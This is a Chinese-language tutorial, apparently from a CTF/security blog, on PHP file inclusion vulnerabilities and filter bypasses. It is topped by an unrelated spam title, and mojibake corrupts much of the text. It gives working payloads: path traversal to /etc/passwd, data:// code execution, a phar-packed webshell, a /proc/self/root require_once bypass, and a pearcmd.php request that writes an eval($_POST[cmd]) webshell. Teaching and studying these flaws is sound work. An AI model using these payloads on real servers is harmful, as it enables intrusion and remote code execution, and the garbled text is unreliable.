溫州專業(yè)營(yíng)銷網(wǎng)站婚戀網(wǎng)站排名前10
文件包含
文件包含漏洞原理
PHP文件包含漏洞的產(chǎn)生原因是在通過(guò)PHP的函數(shù)引入文件時(shí),由于傳入的文件名沒(méi)有經(jīng)過(guò)合理的校驗(yàn),從而操作了預(yù)想之外的文件,就可能導(dǎo)致意外的文件泄露甚至惡意的代碼注入
include:包含并運(yùn)行指定的文件,包含文件發(fā)生錯(cuò)誤時(shí),程序警告,但會(huì)繼續(xù)執(zhí)行。
include_once:檢查這個(gè)文件是否已經(jīng)被導(dǎo)入,如果已導(dǎo)入,便不會(huì)再導(dǎo)入。
require:包含并運(yùn)行指定的文件,包含文件發(fā)生錯(cuò)誤時(shí),程序直接終止執(zhí)行。
require_once:和 require 類似,不同處在于 require_once 只導(dǎo)入一次。
文件包含類型
本地包含(LFI)
能夠讀取或執(zhí)行包含本地文件
遠(yuǎn)程包含(RFI)
allow_url_fopen和allow_url_include要為On
文件包含函數(shù)是可以加載遠(yuǎn)程文件的,這種漏洞被稱為遠(yuǎn)程文件包含漏洞
文件包含前提
文件包含常見(jiàn)防御及繞過(guò)方式
雙寫繞過(guò)
<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );?>
str_replace() 函數(shù)替換字符串中的一些字符(區(qū)分大小寫)。
這里我們以'../'為例:? '..././'中的'../'被去除,則'..././'變?yōu)?#39;../'以此來(lái)繞過(guò)
截?cái)?/h4>
<?php$file = $_GET['file'];include '/var/www/html/'.$file.'/test/test.php';?>
<?php$file = $_GET['file'];include '/var/www/html/'.$file.'/test/test.php';?>
?這里對(duì)文件位置進(jìn)行了限制,比較“難”去包含前面提到的種種文件
1、%00 截?cái)?/p>
需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效
?file=../../../../../../../../../etc/passwd%00
2、%00 截?cái)嗄夸洷闅v
需要 magic_quotes_gpc=off
?file=../../../../../../../../../var/www/%00
3、路徑長(zhǎng)度截?cái)?/p>
php 版本小于 5.2.8 可以成功,linux 需要文件名長(zhǎng)于 4096,windows 需要長(zhǎng)于 256
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
PHP 中的封裝協(xié)議(偽協(xié)議)
file:///var/www/html 訪問(wèn)本地文件系統(tǒng)
ftp://<login>:<password>@<ftpserveraddress> 訪問(wèn) FTP(s) URLs
data:// 數(shù)據(jù)流
http:// — 訪問(wèn) HTTP(s) URLs
ftp:// — 訪問(wèn) FTP(s) URLs
php:// — 訪問(wèn)各個(gè)輸入/輸出流
zlib:// — 壓縮流
data:// — Data (RFC 2397)
glob:// — 查找匹配的文件路徑模式
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — 處理交互式的流
file://?
本地文件傳輸協(xié)議,File協(xié)議主要用于訪問(wèn)本地計(jì)算機(jī)中的文件
php://
?data://
- allow_url_fopen :on
- allow_url_include:on
?file=data:text/plain,<?php phpinfo();?>?file=data:text/plain;base64,base64編碼的payload
?php://input
php://input是個(gè)可以訪問(wèn)請(qǐng)求的原始數(shù)據(jù)的只讀流
allow_url_include = On。
對(duì) allow_url_fopen 不做要求。
?filter:
php://filter 是一種元封裝器, 設(shè)計(jì)用于數(shù)據(jù)流打開(kāi)時(shí)的篩選過(guò)濾應(yīng)用。
?更多關(guān)于php://filter的妙用還可以讀P神的這篇文章
談一談php://filter的妙用
phar://
數(shù)據(jù)流包裝器。phar的本質(zhì)是一種壓縮文件。
這里我們一一道題目為例
?該靶場(chǎng)下存在一個(gè)about.inc文件
而url中卻顯示的是這樣,猜測(cè)后端代碼應(yīng)該是包含了
include $_GET['moudle'].'.inc';
我們可以先寫一個(gè)小馬,再將小馬以zip格式壓縮,并將壓縮后的文件后綴名改為.png上傳
?再來(lái)用phar://來(lái)解析
?小馬成功運(yùn)行蟻劍連接
?我們?cè)賮?lái)看一下后端代碼
?確實(shí)如此
zip://
php 版本大于等于 php5.3.0
若是使用相對(duì)路徑,則會(huì)包含失敗。
協(xié)議原型:
zip://archive.zip(壓縮包名稱)#dir/file.txt(壓縮文件名稱)
注意 url 編碼,因?yàn)檫@個(gè) # 會(huì)和 url 協(xié)議中的 # 沖突(%23)
?其他有關(guān)文件包含的知識(shí)
require_once 繞過(guò)不能重復(fù)包含文件的限制
以[WMCTF2020]Make PHP Great Again為例
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {require_once $_GET['file'];
}
?php的文件包含機(jī)制是將已經(jīng)包含的文件與文件的真實(shí)路徑放進(jìn)哈希表中
我們都知道require_once
在調(diào)用時(shí)php會(huì)檢查該文件是否已經(jīng)被包含過(guò),而這里在前面就已經(jīng)包含了文件,我們?cè)诤竺嬖傧氚?#39;flag.php'時(shí)就不能實(shí)現(xiàn)了,而我們需要做到就是怎么繞過(guò)這個(gè)哈希表,讓php認(rèn)為我們傳入的文件名不在哈希表中,又可以讓php能找到這個(gè)文件,讀取到內(nèi)容。
payload=?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
?詳情原理可看此篇文章
php源碼分析 require_once 繞過(guò)不能重復(fù)包含文件的限制
pearcmd.php到getshell
pecl是PHP中用于管理擴(kuò)展而使用的命令行工具,而pear是pecl依賴的類庫(kù)。
?pear中可以利用的參數(shù):
?我們以一題為例:
源碼如下
<?php
#flag is in flag.php
error_reporting(0);
show_source(__FILE__);
#No session.upload_progress!!!!
ini_set("session.auto_start","0");
ini_set("session.use_strict_mode","1");
$path=$_GET['path'];
if(is_null($path))
exit("<br>input sth bro~<br>");
echo "<br>you input=>".$path;
#No PHP protocol!
if(preg_match("/filter|input|data|phar|http|https|zlib|glob|rar|ogg|expect|ftp/i",$path)===0){#No loggggggggggggggg~if(preg_match("/log|access|error/i",$path)===0){if(preg_match("/flag/i",$path)===0){echo "<br>U did it!<br>";include $path;}else{exit("<br>oh nooooooooo~<br>");}}else{exit("<br>log file?oh nooooooo~<br>");}
}else{exit("<br>no protocol~<br>");
}
?>
禁止了session.upload_progress,禁止了偽協(xié)議讀取,也禁止了文件包含日志文件
這里我們可以包含到pear中的文件,進(jìn)而利用其中的特性來(lái)搞事。
config-create(創(chuàng)建默認(rèn)配置文件),這個(gè)命令需要傳入兩個(gè)參數(shù),其中第二個(gè)參數(shù)是寫入的文件路徑,第一個(gè)參數(shù)會(huì)被寫入到這個(gè)文件中。
payload:?path=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[cmd]);?>+/tmp/fuck.php
payload:?+config-create+/&path=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[cmd]);?>+/tmp/fuck.php
?這兩個(gè)payload是一樣的,最好在BP上進(jìn)行寫入webshell,因?yàn)樵跒g覽器上<>會(huì)自動(dòng)url轉(zhuǎn)碼,這樣會(huì)導(dǎo)致寫入失敗
?更加詳細(xì)的原理參考P神文章
Docker PHP裸文件本地包含綜述